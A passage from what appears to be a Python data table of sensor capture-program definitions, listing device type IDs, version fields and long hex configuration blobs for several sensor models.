'32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a12010000061e102d0101000007c8078c060b5d01005e01004f80005080006d030059940b07010000240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c9086d087a086c0879086b0878086a086e08690863085ec010030862085d0861085c0860085b085f085a0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063207010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c01059940b0308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x15, build=0x0, u1=0x0, dev_type=0xb4d, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20600070206000742002007820020084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '330064030000008064200000a10c642000109f0c64200020a20c642000309e0c64200040a30c642000509d0c64200060a40c642000709c0c64200080a60c642000909b0c642000a0a70c642000b09a0c642000c0a80c642000d0990c642000e0a90c642000f0980c64200000af0c64200010950c64200020b00c64200030940c64200040b10c64200050930c64200060b20c64200070920c64200080b30c642000908b0c642000a0b70c642000b08a0c642000c0b80c642000d0890c642000e0b90c642000f0880c64200000ba0c64200010870c64200020bb0c64200030810c64200040bf0c64200050800c64200060c00c642000707f0c64200080c10c642000907e0c642000a0c20c642000b07d0c642000c0c50c642000d0720c642000e0c60c642000f0710c64200000c70c64200010700c64200020c80c642000306f0c64200040c90c642000506d0c642000607a0c642000706c0c64200080790c642000906b0c642000a0780c642000b06a0c642000c06e0c642000d0690c642000e0630c642000f05e0c64200000620c642000105d0c64200020610c642000305c0c64200040600c642000505b0c642000605f0c642000705a0c64200080310c642000904a0c642000a0300c642000b0490c642000c02f0c642000d0480c642000e02e0c642000f0470c642000002d0c64200010460c64200020ca0c642000303b0c64200040cb0c642000503a0c64200060cc0c64200070390c64200080cd0c64200090380c642000a0ce0c642000b02c0c642000c0d00c642000d02b0c642000e0d10c642000f02a0c64200000d20c64200010290c64200020d30c64200030280c64200040d60c642000501c0c64200060d70c642000701b0c64200080d80c642000901a0c642000a0d90c642000b0190c642000c0da0c642000d0150c642000e0df0c642000f0140c64200000e00c64200010130c64200020e10c64200030120c64200040e20c64200050110c64200060e40c642000700e0c64200080e50c642000900d0c642000a0e60c642000b00c0c642000c0e70c642000d00b0c642000e0e80c642000f00a0c64200000ea0c64200010070c64200020eb0c64200030060c64200040ec0c64200050050c64200060ed0c64200070040c64200080ee0c64200090030c642000a0ef0c642000b0020c642000c0f00c642000d0010c642000e0f10c642000f0000c', '32000c000000008068110100641126003400180200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a13102a13102a12010000061e102d0101000007c8078c060b5d01005e01004f80005080006d030059940b07010000240308a1089f08a2089e08a3089d08a4089c08a6089b08a7089a08a8089908a90898c0102c0308af089508b0089408b1089308b2089208b3088b08b7088a08b8088908b90888c0100308ba088708bb088108bf088008c0087f08c1087e08c2087d08c5087208c60871c010062807010308c7087008c8086f08c9086d087a086c0879086b0878086a086e08690863085ec010030862085d0861085c0860085b085f085a0831084a08300849082f0848082e0847c01003082d084608ca083b08cb083a08cc083908cd083808ce082c08d0082b08d1082ac010063207010308d2082908d3082808d6081c08d7081b08d8081a08d9081908da081508df0814c01059940b0308e0081308e1081208e2081108e4080e08e5080d08e6080c08e7080b08e8080ac010240308ea080708eb080608ec080508ed080408ee080308ef080208f0080108f10800c0100c0720070c2003040200004200080002089000000000002f00040038000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x15, build=0x0, u1=0x0, dev_type=0x130, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20400070204000742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a003200b4020000008074030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030005740300077403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030015740300177403000174030003', '330064030000008064200000e40c64200010050c64200020e60c64200030040c64200040e70c64200050020c64200060eb0c64200070000c64200080ec0c64200090010c642000a0ed0c642000b0030c642000c0f10c642000d0060c642000e0f00c642000f0070c64200000ef0c64200010080c64200020ee0c642000300a0c64200040ea0c642000500b0c64200060e80c642000700c0c64200080e50c642000900d0c642000a0e10c642000b0100c642000c0e00c642000d0140c642000e0df0c642000f0160c64200000de0c64200010190c64200020dc0c642000301d0c64200040db0c642000501e0c64200060da0c64200070220c64200080d30c64200090250c642000a0d10c642000b0270c642000c0cb0c642000d02b0c642000e0ca0c642000f02d0c642000003a0c64200010310c642000203b0c64200030320c642000403d0c64200050370c642000603e0c64200070390c64200080460c642000903c0c642000a0470c642000b03f0c642000c0490c642000d0400c642000e04a0c642000f0450c642000004c0c64200010480c642000204d0c642000304b0c642000405c0c642000504e0c642000605d0c642000704f0c642000805e0c64200090500c642000a0610c642000b0550c642000c0620c642000d05a0c642000e0630c642000f05b0c64200000680c642000105f0c64200020690c64200030600c642000406a0c64200050640c642000606d0c64200070650c642000806e0c642000906b0c642000a06f0c642000b06c0c642000c0700c642000d0710c642000e0c90c642000f0720c64200000c80c64200010770c64200020c60c64200030780c64200040c20c642000507c0c64200060c10c642000707f0c64200080c00c64200090820c642000a0bd0c642000b0840c642000c0bc0c642000d0870c642000e0b80c642000f08b0c64200000b50c642000108f0c64200020b20c64200030910c64200040af0c64200050940c64200060ae0c64200070980c64200080ad0c642000909a0c642000a0ac0c642000b09e0c642000c0ab0c642000d09f0c642000e0a90c642000f09d0c64200000a80c642000109c0c64200020a70c642000309b0c64200040a60c64200050990c64200060a40c64200070960c64200080a30c64200090950c642000a0a20c642000b0930c642000c0a10c642000d0920c642000e0a90c642000f09d0c', '32000c0000000080681101006411260034000c0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a0d102a0d102a0e0100000628102c0101000007c8078c061400004f80005080006d030059940b07010000240308e4080508e6080408e7080208eb080008ec080108ed080308f1080608f00807c0102c0308ef080808ee080a08ea080b08e8080c08e5080d08e1081008e0081408df0816c0100308de081908dc081d08db081e08da082208d3082508d1082708cb082b08ca082dc01003083a0831083b0832083d0837083e08390846083c0847083f08490840084a0845c01003084c0848084d084b085c084e085d084f085e0850086108550862085a0863085bc010030868085f08690860086a0864086d0865086e086b086f086c0870087108c90872c0100308c8087708c6087808c2087c08c1087f08c0088208bd088408bc088708b8088bc0100308b5088f08b2089108af089408ae089808ad089a08ac089e08ab089f08a9089dc010240308a9089d08a8089c08a7089b08a6089908a4089608a3089508a2089308a10892c0100c072c20030703070304020000004200080002089000000000002f00040028000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x15, build=0x0, u1=0x0, dev_type=0x518, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20640070206400742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a003200b4020000008074030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030005740300077403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030015740300177403000174030003', '330064030000008064200000e40c64200010050c64200020e60c64200030040c64200040e70c64200050020c64200060eb0c64200070000c64200080ec0c64200090010c642000a0ed0c642000b0030c642000c0f10c642000d0060c642000e0f00c642000f0070c64200000ef0c64200010080c64200020ee0c642000300a0c64200040ea0c642000500b0c64200060e80c642000700c0c64200080e50c642000900d0c642000a0e10c642000b0100c642000c0e00c642000d0140c642000e0df0c642000f0160c64200000de0c64200010190c64200020dc0c642000301d0c64200040db0c642000501e0c64200060da0c64200070220c64200080d30c64200090250c642000a0d10c642000b0270c642000c0cb0c642000d02b0c642000e0ca0c642000f02d0c642000003a0c64200010310c642000203b0c64200030320c642000403d0c64200050370c642000603e0c64200070390c64200080460c642000903c0c642000a0470c642000b03f0c642000c0490c642000d0400c642000e04a0c642000f0450c642000004c0c64200010480c642000204d0c642000304b0c642000405c0c642000504e0c642000605d0c642000704f0c642000805e0c64200090500c642000a0610c642000b0550c642000c0620c642000d05a0c642000e0630c642000f05b0c64200000680c642000105f0c64200020690c64200030600c642000406a0c64200050640c642000606d0c64200070650c642000806e0c642000906b0c642000a06f0c642000b06c0c642000c0700c642000d0710c642000e0c90c642000f0720c64200000c80c64200010770c64200020c60c64200030780c64200040c20c642000507c0c64200060c10c642000707f0c64200080c00c64200090820c642000a0bd0c642000b0840c642000c0bc0c642000d0870c642000e0b80c642000f08b0c64200000b50c642000108f0c64200020b20c64200030910c64200040af0c64200050940c64200060ae0c64200070980c64200080ad0c642000909a0c642000a0ac0c642000b09e0c642000c0ab0c642000d09f0c642000e0a90c642000f09d0c64200000a80c642000109c0c64200020a70c642000309b0c64200040a60c64200050990c64200060a40c64200070960c64200080a30c64200090950c642000a0a20c642000b0930c642000c0a10c642000d0920c642000e0a90c642000f09d0c', '32000c0000000080681101006411260034000c0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a0d102a0d102a0e0100000628102c0101000007c8078c061400004f80005080006d030059940b07010000240308e4080508e6080408e7080208eb080008ec080108ed080308f1080608f00807c0102c0308ef080808ee080a08ea080b08e8080c08e5080d08e1081008e0081408df0816c0100308de081908dc081d08db081e08da082208d3082508d1082708cb082b08ca082dc01003083a0831083b0832083d0837083e08390846083c0847083f08490840084a0845c01003084c0848084d084b085c084e085d084f085e0850086108550862085a0863085bc010030868085f08690860086a0864086d0865086e086b086f086c0870087108c90872c0100308c8087708c6087808c2087c08c1087f08c0088208bd088408bc088708b8088bc0100308b5088f08b2089108af089408ae089808ad089a08ac089e08ab089f08a9089dc010240308a9089d08a8089c08a7089b08a6089908a4089608a3089508a2089308a10892c0100c072c20030703070304020000004200080002089000000000002f00040028000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x15, build=0x0, u1=0x0, dev_type=0xbe1, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20550070205500742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a003200b4020000008074030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030005740300077403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030015740300177403000174030003', '330064030000008064200000e40c64200010050c64200020e60c64200030040c64200040e70c64200050020c64200060eb0c64200070000c64200080ec0c64200090010c642000a0ed0c642000b0030c642000c0f10c642000d0060c642000e0f00c642000f0070c64200000ef0c64200010080c64200020ee0c642000300a0c64200040ea0c642000500b0c64200060e80c642000700c0c64200080e50c642000900d0c642000a0e10c642000b0100c642000c0e00c642000d0140c642000e0df0c642000f0160c64200000de0c64200010190c64200020dc0c642000301d0c64200040db0c642000501e0c64200060da0c64200070220c64200080d30c64200090250c642000a0d10c642000b0270c642000c0cb0c642000d02b0c642000e0ca0c642000f02d0c642000003a0c64200010310c642000203b0c64200030320c642000403d0c64200050370c642000603e0c64200070390c64200080460c642000903c0c642000a0470c642000b03f0c642000c0490c642000d0400c642000e04a0c642000f0450c642000004c0c64200010480c642000204d0c642000304b0c642000405c0c642000504e0c642000605d0c642000704f0c642000805e0c64200090500c642000a0610c642000b0550c642000c0620c642000d05a0c642000e0630c642000f05b0c64200000680c642000105f0c64200020690c64200030600c642000406a0c64200050640c642000606d0c64200070650c642000806e0c642000906b0c642000a06f0c642000b06c0c642000c0700c642000d0710c642000e0c90c642000f0720c64200000c80c64200010770c64200020c60c64200030780c64200040c20c642000507c0c64200060c10c642000707f0c64200080c00c64200090820c642000a0bd0c642000b0840c642000c0bc0c642000d0870c642000e0b80c642000f08b0c64200000b50c642000108f0c64200020b20c64200030910c64200040af0c64200050940c64200060ae0c64200070980c64200080ad0c642000909a0c642000a0ac0c642000b09e0c642000c0ab0c642000d09f0c642000e0a90c642000f09d0c64200000a80c642000109c0c64200020a70c642000309b0c64200040a60c64200050990c64200060a40c64200070960c64200080a30c64200090950c642000a0a20c642000b0930c642000c0a10c642000d0920c642000e0a90c642000f09d0c', '32000c0000000080681101006411260034000c0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a0d102a0d102a0e0100000628102c0101000007c8078c061400004f80005080006d030059940b07010000240308e4080508e6080408e7080208eb080008ec080108ed080308f1080608f00807c0102c0308ef080808ee080a08ea080b08e8080c08e5080d08e1081008e0081408df0816c0100308de081908dc081d08db081e08da082208d3082508d1082708cb082b08ca082dc01003083a0831083b0832083d0837083e08390846083c0847083f08490840084a0845c01003084c0848084d084b085c084e085d084f085e0850086108550862085a0863085bc010030868085f08690860086a0864086d0865086e086b086f086c0870087108c90872c0100308c8087708c6087808c2087c08c1087f08c0088208bd088408bc088708b8088bc0100308b5088f08b2089108af089408ae089808ad089a08ac089e08ab089f08a9089dc010240308a9089d08a8089c08a7089b08a6089908a4089608a3089508a2089308a10892c0100c072c20030703070304020000004200080002089000000000002f00040028000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0x15, build=0x0, u1=0x0, dev_type=0xbe2, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c00000000802020040024200000382000002820df0b2c20df0b302000003420000050200a015c200000602000004c2003006c20500070205000742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a003200b4020000008074030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030001740300037403000174030003740300017403000374030005740300077403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030001740300037403001574030017740300017403000374030015740300177403000174030003740300157403001774030015740300177403000174030003', '330064030000008064200000e40c64200010050c64200020e60c64200030040c64200040e70c64200050020c64200060eb0c64200070000c64200080ec0c64200090010c642000a0ed0c642000b0030c642000c0f10c642000d0060c642000e0f00c642000f0070c64200000ef0c64200010080c64200020ee0c642000300a0c64200040ea0c642000500b0c64200060e80c642000700c0c64200080e50c642000900d0c642000a0e10c642000b0100c642000c0e00c642000d0140c642000e0df0c642000f0160c64200000de0c64200010190c64200020dc0c642000301d0c64200040db0c642000501e0c64200060da0c64200070220c64200080d30c64200090250c642000a0d10c642000b0270c642000c0cb0c642000d02b0c642000e0ca0c642000f02d0c642000003a0c64200010310c642000203b0c64200030320c642000403d0c64200050370c642000603e0c64200070390c64200080460c642000903c0c642000a0470c642000b03f0c642000c0490c642000d0400c642000e04a0c642000f0450c642000004c0c64200010480c642000204d0c642000304b0c642000405c0c642000504e0c642000605d0c642000704f0c642000805e0c64200090500c642000a0610c642000b0550c642000c0620c642000d05a0c642000e0630c642000f05b0c64200000680c642000105f0c64200020690c64200030600c642000406a0c64200050640c642000606d0c64200070650c642000806e0c642000906b0c642000a06f0c642000b06c0c642000c0700c642000d0710c642000e0c90c642000f0720c64200000c80c64200010770c64200020c60c64200030780c64200040c20c642000507c0c64200060c10c642000707f0c64200080c00c64200090820c642000a0bd0c642000b0840c642000c0bc0c642000d0870c642000e0b80c642000f08b0c64200000b50c642000108f0c64200020b20c64200030910c64200040af0c64200050940c64200060ae0c64200070980c64200080ad0c642000909a0c642000a0ac0c642000b09e0c642000c0ab0c642000d09f0c642000e0a90c642000f09d0c64200000a80c642000109c0c64200020a70c642000309b0c64200040a60c64200050990c64200060a40c64200070960c64200080a30c64200090950c642000a0a20c642000b0930c642000c0a10c642000d0920c642000e0a90c642000f09d0c', '32000c0000000080681101006411260034000c0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007e007e0102a0d102a0d102a0e0100000628102c0101000007c8078c061400004f80005080006d030059940b07010000240308e4080508e6080408e7080208eb080008ec080108ed080308f1080608f00807c0102c0308ef080808ee080a08ea080b08e8080c08e5080d08e1081008e0081408df0816c0100308de081908dc081d08db081e08da082208d3082508d1082708cb082b08ca082dc01003083a0831083b0832083d0837083e08390846083c0847083f08490840084a0845c01003084c0848084d084b085c084e085d084f085e0850086108550862085a0863085bc010030868085f08690860086a0864086d0865086e086b086f086c0870087108c90872c0100308c8087708c6087808c2087c08c1087f08c0088208bd088408bc088708b8088bc0100308b5088f08b2089108af089408ae089808ad089a08ac089e08ab089f08a9089dc010240308a9089d08a8089c08a7089b08a6089908a4089608a3089508a2089308a10892c0100c072c20030703070304020000004200080002089000000000002f00040028000000290004009000000035000400a0000000']),
SensorCaptureProg(major=0x6, minor=0xb, build=0x0, u1=0x0, dev_type=0x194, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032005c0000000080202004002820ff0b2c20f60b6c202f007020000074201000782000005c2000006020000064200000502000005420151d84202000942001809c200902a0200b19b4200000b8203a00bc201400c0200200c4200200c82008003300100000000080cc2000004900d0200000a1013200440000000080dc20e803e0206401e420d002e8200001f0201400f8200500fc200000b8203b00002804001428000008280000082810001428180008281100142819001c281a00', '32001400000000806811010064111f007c1700007017010033001c00000000809c1701000000ac1700900100b01754000000b417007200003400500010061110061110061110061110061001068010080101000007c80764060000002003070107010c07840a640863c91e2cc9159107010a9dc9110701030a3208330701c90f20c91e070304020000000000', '2f0004005400000029000400000000003500040010000000']),
SensorCaptureProg(major=0x6, minor=0x0, build=0x0, u1=0x0, dev_type=0x179, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032007800000000802020040024200000382000002820df0b2c20df0b30200000342000003c20000040200000442000004820000050200a005c20000060200000642000004c200300002100006c2030007020300040210000742006007820060084202000b4200000b8203a00bc201400c0200200c4200100c820020033001c000000008054202f27030058202f270300cc200000ef03d0200000ef033200440000000080dc20e803e020e803e420d002e820d002f0200500f8200500fc200000b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '320014000000008068110100641126007c1700007017010033001c00000000809c1701000000ac1700900100b01738000000b417009000003400040310060b10060b10060b10060b10060c01064e10080101000007c80764060000002003070107010c2c078408a180089f800aa108a2800a9f089e800aa208a3800a9e089d800aa308a4800a9d089c800aa408a6800a9c089b800aa608a7800a9b089a800aa708a8800a9a0899800aa808a9800a990898800aa908af800a980895800aaf08b0800a950894800ab008b1800a940893800ab108b2800a930892800ab208b3800a92088b800ab308b7800a8b088a800ab708b8800a8a0889800ab808b9800a890888800ab908ba800a880887800aba08bb800a870881800abb08bf800a810880800abf08c0800a80087f800ac008c1800a7f087e800ac108c2800a7e087d800ac208c5800a7d0872800ac508c6800a720871800ac608c7800a710870800ac708c8800a70086f800ac808c9800a6f0863800ac9086c800a630862800a6c086b800a620861800a6b086a800a610860800a6a0869800a60085f800a69085e800a5f084f800a5e085d800a4f084e800a5d085c800a4e084d800a5c085b800a4d084c800a5b085a800a4c084b800a5a0831800a4b084a800a310830800a4a0849800a30082f800a490848800a2f082e800a480847800a2e082d800a470846800a2d08ca800a46083b800aca08cb800a3b083a800acb08cc800a3a0839800acc08cd800a390838800acd08ce800a38082c800ace08d1800a2c082b800ad108d2800a2b082a800ad208d3800a2a0829800ad308d6800a290828800ad608d7800a28081d800ad708d8800a1d081c800ad808d9800a1c081b800ad908da800a1b081a800ada08de800a1a0819800ade08df800a190815800adf08e0800a150814800ae008e1800a140813800ae108e2800a130812800ae208e4800a120811800ae408e5800a11080d800ae508e6800a0d080c800ae608e7800a0c080b800ae708ea800a0b080a800aea08eb800a0a0807800aeb08ec800a070806800aec08ed800a060805800aed08ee800a050804800aee08ef800a040803800aef08f0800a030802800af008f1800a020801800af108f2800a010800802007032003070307030402000000', '2f0004003800000029000400000000003500040010000000']),
SensorCaptureProg(major=0x6, minor=0xa, build=0x0, u1=0x0, dev_type=0x117, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032006400000000802020040024200000382000002820df0b2c20df0b30200000342000003c2080004020800050200a005c200000602000004c2003006c20680070206800742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '32000c000000008068110100641126003400ac0300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000102b0e102b0e102b0e102b0e01000000061e10301001000007c80764060b4f80005080006d030007010000006d0300200307010007032408a180089f800aa108a2800a9f089e800aa208a3800a9e089d800aa308a4800a9d089c800aa408a6800a9c089b802c0aa608a7800a9b089a800aa708a8800a9a0899800aa808a9800a990898800aa908af800a980895800aaf08b0800a950894800ab008b1800a940893800ab108b2800a930892800ab208b3800a92088b800ab308b7800a8b088a800ab708b8800a8a0889800ab808b9800a890888800ab908ba800a880887800aba08bb800a870881800abb08bf800a810880800abf08c0800a80087f800ac008c1800a7f087e800ac108c2800a7e087d800ac208c5800a7d0872800ac508c6800a72087180062807010ac608c7800a710870800ac708c8800a70086f800ac808c9800a6f0863800ac9086c800a630862800a6c086b800a620861800a6b086a800a610860800a6a0869800a60085f800a69085e800a5f084f800a5e085d800a4f084e800a5d085c800a4e084d800a5c085b800a4d084c800a5b085a800a4c084b800a5a0831800a4b084a800a310830800a4a0849800a30082f800a490848800a2f082e800a480847800a2e082d800a470846800a2d08ca800a46083b800aca08cb800a3b083a800acb08cc800a3a0839800acc08cd800a390838800acd08ce800a38082c800ace08d1800a2c082b800ad108d2800a2b082a80063207010ad208d3800a2a0829800ad308d6800a290828800ad608d7800a28081d800ad708d8800a1d081c800ad808d9800a1c081b800ad908da800a1b081a800ada08de800a1a0819800ade08df800a190815800adf08e0800a150814800ae008e1800a140813800ae108e2800a130812800ae208e4800a120811800ae408e5800a11080d800ae508e6800a0d080c800ae608e7800a0c080b800ae708ea800a0b080a800aea08eb800a0a0807800aeb08ec800a070806800aec08ed800a06080580240aed08ee800a050804800aee08ef800a040803800aef08f0800a030802800af008f1800a020801800af108f2800c0a01080080070103040200000000002f00040038000000', '290004009400000035000400a4000000']),
SensorCaptureProg(major=0x6, minor=0xb, build=0x0, u1=0x0, dev_type=0x117, a0=0x18, a1=0x19, blobs=['2300000020000800002000800000010032006400000000802020040024200000382000002820df0b2c20df0b30200000342000003c2080004020800050200a005c200000602000004c2003006c20680070206800742001007820010084202000b4200000bc201400c0200200c4200100c820020074030002330028000000008054202a2203005820272f03004420898103004820868e0300cc200000ef03d0200000ef033200400000000080dc20fa00e020fa00e420b400e820b400f0200500f8200500b8203a00002804001428000008280000082800001428300008280000142831001c281a00', '32000c000000008068110100641126003400ac0300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000102b0e102b0e102b0e102b0e01000000061e10301001000007c80764060b4f80005080006d030007010000006d0300200307010007032408a180089f800aa108a2800a9f089e800aa208a3800a9e089d800aa308a4800a9d089c800aa408a6800a9c089b802c0aa608a7800a9b089a800aa708a8800a9a0899800aa808a9800a990898800aa908af800a980895800aaf08b0800a950894800ab008b1800a940893800ab108b2800a930892800ab208b3800a92088b800ab308b7800a8b088a800ab708b8800a8a0889800ab808b9800a890888800ab908ba800a880887800aba08bb800a870881800abb08bf800a810880800abf08c0800a80087f800ac008c1800a7f087e800ac108c2800a7e087d800ac208c5800a7d0872800ac508c6800a72087180062807010ac608c7800a710870800ac708c8800a70086f800ac808c9800a6f0863800ac9086c800a630862800a6c086b800a620861800a6b086a800a610860800a6a0869800a60085f800a69085e800a5f084f800a5e085d800a4f084e800a5d085c800a4e084d800a5c085b800a4d084c800a5b085a800a4c084b800a5a0831800a4b084a800a310830800a4a0849800a30082f800a490848800a2f082e800a480847800a2e082d800a470846800a2d08ca800a46083b800aca08cb800a3b083a800acb08cc800a3a0839800acc08cd800a390838800acd08ce800a38082c800ace08d1800a2c082b800ad108d2800a2b082a80063207010ad208d3800a2a0829800ad308d6800a290828800ad608d7800a28081d800ad708d8800a1d081c800ad808d9800a1c081b800ad908da800a1b081a800ada08de800a1a0819800ade08df800a190815800adf08e0800a150814800ae008e1800a140813800ae108e2800a130812800ae208e4800a120811800ae408e5800a11080d800ae508e6800a0d080c800ae608e7800a0c080b800ae708ea800a0b080a800aea08eb800a0a0807800aeb08ec800a070806800aec08ed800a06080580240aed08ee800a050804800aee08ef800a040803800aef08f0800a030802800af008f1800a020801800af108f2800c0a01080080070103040200000000002f00040038000000', '290004009400000035000400a4000000']),
